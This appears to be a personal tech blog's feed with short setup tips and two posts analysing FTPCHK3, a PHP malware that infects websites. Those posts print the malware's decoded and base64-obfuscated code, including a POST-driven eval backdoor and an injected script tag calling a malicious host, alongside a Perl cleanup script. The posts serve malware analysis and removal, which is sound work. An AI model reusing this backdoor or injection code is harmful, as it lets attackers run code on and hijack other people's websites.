the Digital me

Installing pyGTK, pypango and pycairo on Windows 64bit

noreply@blogger.com (Arun Prabhakar) — Fri, 30 Mar 2012 14:56:00 +0000

To install pygtk, pypango and pycairo on Windows,

Download 64bit GTK libraries from the gtk website http://www.gtk.org/download/win64.php, Download the all-in-one zip file.
Extract it to
```
C:\gtk
```
Add the path
```
C:\gtk\bin
```
to environment path
Download 64bit versions of pygobject, pygtk and py2cairo from http://www.lfd.uci.edu/~gohlke/pythonlibs/#pygtk
Double click and install all the exes

That's it.
Hope this helps everyone stuck installing pypango, pycairo, pyGTK.

Teamviewer SourceCode C++

noreply@blogger.com (Arun Prabhakar) — Fri, 11 Nov 2011 13:28:00 +0000

Team viewer is a remote desktop sharing program that allows you to view remote desktops. Its source is in C++ and is available at

http://www.teamviewer.com/download/TeamViewer_Source.zip

Enjoy !!!

Install Crontab on Cent OS 5

noreply@blogger.com (Arun Prabhakar) — Thu, 03 Nov 2011 10:21:00 +0000

Crontab would not be installed by default on CentOS 5 custom installation, as happened with my new prgmr.com server. So to install cron you would do a yum search cron and you are not quiet sure what to install.

To install crontab on centos


yum install -y vixie-cron.x86_64

Vixie cron is the cron software on CentOS 5.

The Vixie cron daemon for executing specified programs at set times.

Now you should be able to do crontab -e to add your cron.

Starting crontab


sudo /etc/init.d/crond start

Now the cron tasks should be executed at the specified times.

Convert Amazon EC2 PEM files to PPK

noreply@blogger.com (Arun Prabhakar) — Tue, 18 Oct 2011 03:17:00 +0000

So you just set up a keypair in Amazon EC2 and got a PEM file, Now how do you login to using Putty ?

How to login to Amazon EC2 using Putty

Open Puttygen, if you dont have puttygen, you can get it for download at http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html

Now click Conversions > Import.

Choose your PEM file that was downloaded from the Amazon EC2 dashboard

Click on Save Private Key and name it something .ppk

Voila, use your ppk to login through Putty to your Amazon EC2 Instance

Solve Failed to query Solr using ':': [Errno 13] Permission denied

noreply@blogger.com (Arun Prabhakar) — Sat, 15 Oct 2011 07:34:00 +0000

This error is created mostly on a CentOs / similar linux operating systems with SELinux On.

By default SELinux does not allow you to listen on non standard http ports such as 8983 in which SOLR listens on. To fix this run the following command as root:


semanage port -a -t http_port_t -p tcp 8983

This adds the 8983 port to http list. This should solve the Permission denied message when querying SOLR.

Restart SOLR / Applications.

This should solve Failed to query Solr using '*:*': [Errno 13] Permission denied

Installing g++ on Amazon EC2 Small Instance

noreply@blogger.com (Arun Prabhakar) — Thu, 19 May 2011 18:48:00 +0000

To install you have to run the following command:

sudo yum groupinstall "Development Tools"

Phew!

Compare Dell Inspiron Laptop vs Sony Vaio

noreply@blogger.com (Arun Prabhakar) — Wed, 15 Dec 2010 03:45:00 +0000

.

Are you consider buying a laptop? See the following post for a comparsion between the latest Dell and Sony laptops. Compare dell inspiron laptop with sony vaio laptop

Sony Vaio F and CW series recalled due to heat problem VPCCW26FG

noreply@blogger.com (Arun Prabhakar) — Tue, 10 Aug 2010 16:26:00 +0000

Sony has recalled half a million laptops of its CW and F series due to a potential overheat problem.

See More

Nokia E63 versus E71 a feature comparison

noreply@blogger.com (Arun Prabhakar) — Sat, 12 Jun 2010 15:47:00 +0000

Nokia E63, E71, E72 etc are business type phones (or blackberry like) introduced by Nokia. Main features are full QWERTY keyboard and a long battery life. However there are some key differences in between Nokia E63 and the E71.

Head over to Compare Nokia E71 vs E63 Smartphone

Official Google Blog: Search is getting more social

noreply@blogger.com (Arun Prabhakar) — Wed, 12 May 2010 04:57:00 +0000

Official Google Blog: Search is getting more social

Google search goes social with Social Search Results - The Facebook effect ?

noreply@blogger.com (Arun Prabhakar) — Tue, 11 May 2010 18:08:00 +0000

Is google moving towards a social networking side ?
Google is slowly adding the "Social" aspect to all its products. After launching Buzz on Gmail, "Social Results" aspect in "Google Search" results too reveals this trend.

Read more on Google search goes social with Social Search Results - The Facebook effect ?

Taggle.com Coming Soon

noreply@blogger.com (Arun Prabhakar) — Fri, 16 Apr 2010 07:33:00 +0000

Coming soon to add excitement to your life!

Taggle.com is coming soon to change your lifestyle. Get ready to start Taggling!

:)

Using HDMI Port to connect your laptop To TV

noreply@blogger.com (Arun Prabhakar) — Tue, 06 Apr 2010 06:56:00 +0000

HDMI port can be used to play High Definition Video on your TV. New TV models like the LG Scarlet support HDMI ports which is the new standard that interconnects video devices.

HDMI having a bandwidth of about 10 Gbps, can support transfer of real time HD Videos (1080p).

See more on Conencting TV to Laptop using HDMI

HDMI Cable Buying Guide

Lighter free social bookmarking Javascript

noreply@blogger.com (Arun Prabhakar) — Mon, 05 Apr 2010 11:01:00 +0000

Social Media Buttons help you share the content on bookmarking websites such as Stumble Upon, Reddit or Digg or social networking Websites such as Facebook or Twitter. Adding the buttons helps you to expose your content to a broader audience.
There are lots of social media button providers such as AddThis or ShareThis. I think it is overloaded with features that makes your page load slow as well as bring in unintentional 3rd party javascript code ( or flash tracker ) which runs on your blog.

So it is always safe to use your own script or scripts which you can read understand and verify it just does what it is suppose to do.

See Free Light weight Social media sharing javascript for more code and details.

Sony Vaio VPCCW26FG

noreply@blogger.com (Arun Prabhakar) — Wed, 24 Feb 2010 03:25:00 +0000

Sony has introduced a new Laptop in its CW Series, Sony Vaio VPCCW26FG.
Looks stylish and has good configuration... Check out my posts on my new blog...
Sony Vaio VPCCW26FG vs Macbook White

Google Chrome for Linux finally available

noreply@blogger.com (Arun Prabhakar) — Wed, 09 Dec 2009 04:02:00 +0000

Click Here

Official Google Blog: Google Chrome for the holidays: Mac, Linux and extensions in beta

noreply@blogger.com (Arun Prabhakar) — Wed, 09 Dec 2009 04:01:00 +0000

http://digitalpbk.com/2009/12/install-google-chrome-linux-ubuntu-910

Happy Birthday digitalpbk.blogspot.com

noreply@blogger.com (Arun Prabhakar) — Thu, 19 Nov 2009 04:09:00 +0000

Well I totally forgot that my blog is completed 3 years as of November 18.

And you can see the numbers right :)

I have started a new blog with more features so that people would get more information out of it and structured neatly.

So @ 3 years of my Tech blogging on blogspot, i'm moving onto my domain. digitalpbk.com

This blog would still be here.

So See Ya...

digitalpbk
:)

PHP Code Analysis of Bagle Virus

noreply@blogger.com (Arun Prabhakar) — Thu, 15 Oct 2009 08:13:00 +0000

The code

The following is the code that is executed on all pages infected by this virus :

if (!isset ($b0sr1))
  {
    function b0sr ($s)
    {
      if (preg_match_all ('#<script(.*?)</script>#is', $s, $a))
        foreach ($a[0] as $v) 
          if (count (explode ("\n", $v)) > 5)
          {
            $e = preg_match ('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#', $v)
              || preg_match ('#[\(\[](\s*\d+,){20,}#', $v);
            if ((preg_match ('#\beval\b#', $v)
                 && ($e || strpos ($v, 'fromCharCode'))) || ($e
                                                             && strpos ($v,
                                                                        'document.write')))
              $s = str_replace ($v, '', $s);
          }
      if (preg_match_all
          ('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is', $s, $a))
        foreach ($a[0] as $v)
          if (preg_match
              ('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i', $v)
              && !strstr ($v, '?'.'>'))
          $s = preg_replace ('#'.preg_quote ($v, '#').'.*?</iframe>#is', '', $s);
      $s = str_replace ($a =
                        base64_decode
                        ('PHNjcmlwdCBzcmM9aHR0cDovL2dlbXVzLnBsL2RiL2Z0cGNoazMucGhwID48L3NjcmlwdD4='),
                        '', $s);
      if (stristr ($s, '<body'))
        $s = preg_replace ('#(\s*<body)#mi', $a.'\1', $s);
      elseif (strpos ($s, ',a')) $s. = $a;
      return $s;
    }
    function b0sr2 ($a, $b, $c, $d)
    {
      global $b0sr1;
      $s = array ();
      if (function_exists ($b0sr1))
        call_user_func ($b0sr1, $a, $b, $c, $d);
      foreach (@ob_get_status (1) as $v) 
        if (($a = $v['name']) == 'b0sr')
          return;
        elseif ($a == 'ob_gzhandler') break;
        else
        $s[] = array ($a == 'default output handler' ? false : $a);
      
      for ($i = count ($s) - 1; $i >= 0; $i--)
        {
          $s[$i][1] = ob_get_contents ();
          ob_end_clean ();
        }
      ob_start ('b0sr');
      
      for ($i = 0; $i < count ($s); $i++)
        {
          ob_start ($s[$i][0]);
          echo $s[$i][1];
        }
    }
  }
$b0srl = (($a = @set_error_handler ('b0sr2')) != 'b0sr2') ? $a : 0;
eval (base64_decode ($_POST['e']));

FTPCHK3 : Virus that adds malicious scripts to your website.

noreply@blogger.com (Arun Prabhakar) — Thu, 15 Oct 2009 07:35:00 +0000

Intro
This virus changes all your web files, php, html javascript and tpl files in prominent CMS systems to add a malicious script into your site. This injection allows the attacker to remotely execute PHP code on your website if the php infected code is running on your pages. Its supposedly called Bagle. But who cares about the name? It's nasty and start fixing.

How it got in ?
This can be due to potential security holes in your FTP server programs and/or the anonymous user access being activated in your FTP configuration.

What it does?
It adds scripts to html, javascript files and adds a unique php script code to the beginning of every php file. It looks like


<?php eval(base64_decode('aWYoIWlzc2V0KCRiMHNyMSkpe2Z1bmN0aW9uIGIwc3IoJHMpe2lmKHByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWFjaCg
kYVswXSBhcyAkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tc
..
//Truncated
..
ZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCdiMHNyJyk7Zm9yKCRpPTA7JGk8Y291bnQoJHMpOyRpKyspe29iX3N0YXJ0KCRzWyRpXVswXSk7ZWNobyAkc1skaV1bMV07fX19J
GIwc3JsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCdiMHNyMicpKSE9J2Iwc3IyJyk/JGE6MDtldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydlJ10pKTs=')); ?>

The code adds scripts to your code like

<script src=http://gemus.pl/db/ftpchk3.php ></script>

and executes codes coming via POST requests.

Removal

Backup your web directory, just in case something gets messed up.

The following scripts scans files and removes most of the infection. I have written it to remove infected files from college website and it worked fine. Paste the following code in your web directory and execute. It renames infected files with file.infected and removes code from the file and updates your file to remove the code.

#!/usr/bin/perl

# http://digitalpbk.blogspot.com/2009/10/ftpchk3-virus-php-pl-hacked-website.html

use strict;

`grep -Rn aWYoIWlzc2V0KCRiMHNyMSkpe2Z1bmN0aW9u * | cut -d ':' -f 1 > listofinfected`;

open FP,"listofinfected";
my $file;
while($file = <FP>){
  print "Testing $file ... ";
  chomp($file);
  if(-e ($file)){
    open VI,$file;
    my @filecon = <VI>;
    close VI;
    
    if($filecon[0] =~ m/aWYoIWlzc2V0KCRiMHNyMSkpe2Z1bmN0aW9u/){
      
      $filecon[0] =~ s/(<\?.*?\?>)//g;
      
      rename($file,$file.".infected");
    
      open VI,">$file";
      print VI join('',@filecon);
      close VI;
      
      print $file." Fixed !!";
    }    
  }
  print "\n";
}

close(FP);

`grep -Rn ftpchk3.php * | cut -d ':' -f 1 > listofinfected2`;

open FP,"listofinfected2";
my $file;
while($file = <FP>){
  print "Testing $file ... ";
  chomp($file);
  if(-e ($file)){
    open VI,$file;
    my @filecon = <VI>;
    close VI;
    
    my $fc = join('',@filecon);
    $fc =~ s|document.write('<script(.*?)ftpchk3.php(.*)script>');||sig;
    $fc =~ s|<script[\s]+src="?http(.*?)ftpchk3.php(.*?)script>||sig;
    
  
    
    rename($file,$file.".infected");
    
    open VI,">$file";
    print VI $fc;
    close VI;
    
    print $file." Fixed !!";
  }
  print "\n";
}

close(FP);

How to execute?

Copy paste the code to a file called anti.pl
From the terminal run

perl anti.pl

Analysis
Those who are intereseted in how it works, here is an analysis

Happy fixing...
PS: Fix it asap.. the virus is supposed to delete your files.

Statistics for your website, the way you want...

noreply@blogger.com (Arun Prabhakar) — Thu, 24 Sep 2009 09:08:00 +0000

Hey mates
Head over to stats.kitiyo.com and sign up to get a cool statistics graph for your blog or website.
You might need this invitation code : iwantitbadly

Scroll down to see my statistics. This is still in beta stage, so let me know of feature suggestions or anything you would like to add. :)
I have added most features that you would find in any ordinary stats site, like popular pages, referers search keywords etc.

Lots of features yet to come.

Powered By Kitiyo Stats

Enjoy...
Cya at stats.kitiyo.com

Fix for Facebook authentication on IE

noreply@blogger.com (Arun Prabhakar) — Wed, 26 Aug 2009 07:02:00 +0000

What?
This is for Facebook developers who have faced this problem. If you are using an Facebook application to authenticate a user on a PHP website, the Facebook redirection on Internet Explorer specifically fails the login of the user. This is because the return URL returned by facebook specifically for IE is the appending of the

CallBack URL specified in the Application +
the Next parameter + 
a "?" + 
the auth_token parameter.

This results in Facebook redirecting to a wierd URL.

the Workaround
for this is to remove the next parameter from the facebook login URL.

http://www.facebook.com/login.php?api_key=<API KEY>&v=1.0&next=http%3A%2F%2Flocalhost%2Ftest%2F%2Ffacebook%3Fredir_domain%3Dexample.com

http://www.facebook.com/login.php?api_key=<API KEY>&v=1.0

For PHP websites the changes for the facebook.php are given below:
It must be similar changes for any of the other client API's.
This is accomplished by changing the line on facebook.php
facebook-platform/php/facebook.php

Change the following lines

public function require_login() {
    if ($user = $this->get_loggedin_user()) {
      return $user;
    }
    $this->redirect($this->get_login_url(self::current_url(), $this->in_frame())
);
  }

  public function require_login() {
    if ($user = $this->get_loggedin_user()) {
      return $user;
    }
    $this->redirect($this->get_login_url('', $this->in_frame()));
  }

The change is to remove the next parameter from the $this->get_login_url Call from within require_login member function of the Facebook class.

This seems to fix the problem of login.
This is not a bug in facebook as it is the intended functionality inside apps.

Happy developing..

Flash Player BUG: Permission denied to call method Location.toString

noreply@blogger.com (Arun Prabhakar) — Thu, 20 Aug 2009 12:06:00 +0000

Permission denied to call method Location.toString

If you get this wierd error on your error console, it might be because of opening a flash script within a frame from another domain from your domain. This is a flash bug and apparently there is no work around. So just ignore this error.

I found out this the hardway after searching for a long time, so if anyone stumbles upon this page, just upgrade your flash player.

I found it while beta prototyping Kitiyo Stats

Google Wave Review & Dev Preview

noreply@blogger.com (Arun Prabhakar) — Thu, 06 Aug 2009 03:10:00 +0000

Google Wave?
Google wave is a new product from Google, it is like but much more than a collaborative chat with bots helping you and adding interactive data within conversations.

It is a developer preview that I got so its kind of slow. The chats are realtime, which means you will have to think really hard before you type it :D . You can add maps, videos, images, or even other websites or anything within a conversation to make it live. Each of these conversation is called a Wave. And each item inside is a Wavelet, Those who have brushed upon their Signal processing subjects would ring a bell here. The waves are recorded in time and can be played back to see the conversation growing.

It takes sometime to load and the javascript pretty much hangs around when we do something like resizing the windows. The pretty new scroll bar is cute.

About bots, you can add bots to your conversation that augments information like if we type some keywords, the bots parse them and fetch the information and populates the conversation for you.

Am still trying it out .. So will keep updated here..
Read on

This is what happens when you develop Orkut and Facebook Applications Simultaneously

noreply@blogger.com (Arun Prabhakar) — Fri, 31 Jul 2009 13:01:00 +0000

The thing

Need I explain more?

Just in case, its a dialog to add the application profile view into your Facebook profile, within Orkut.

Technical Details
Its just the Session variables screwing up, everything is fine. Although I could not resist putting up a screen shot of it. Are you an application developer? Let me know...

the Digital me

Installing pyGTK, pypango and pycairo on Windows 64bit

Teamviewer SourceCode C++

Install Crontab on Cent OS 5

To install crontab on centos

Starting crontab

Convert Amazon EC2 PEM files to PPK

How to login to Amazon EC2 using Putty

Solve Failed to query Solr using '*:*': [Errno 13] Permission denied

Installing g++ on Amazon EC2 Small Instance

Compare Dell Inspiron Laptop vs Sony Vaio

Sony Vaio F and CW series recalled due to heat problem VPCCW26FG

Nokia E63 versus E71 a feature comparison

Official Google Blog: Search is getting more social

Google search goes social with Social Search Results - The Facebook effect ?

Taggle.com Coming Soon

Using HDMI Port to connect your laptop To TV

Lighter free social bookmarking Javascript

Sony Vaio VPCCW26FG

Google Chrome for Linux finally available

Official Google Blog: Google Chrome for the holidays: Mac, Linux and extensions in beta

Happy Birthday digitalpbk.blogspot.com

PHP Code Analysis of Bagle Virus

FTPCHK3 : Virus that adds malicious scripts to your website.

Statistics for your website, the way you want...

Fix for Facebook authentication on IE

Flash Player BUG: Permission denied to call method Location.toString

Google Wave Review & Dev Preview

This is what happens when you develop Orkut and Facebook Applications Simultaneously

Solve Failed to query Solr using ':': [Errno 13] Permission denied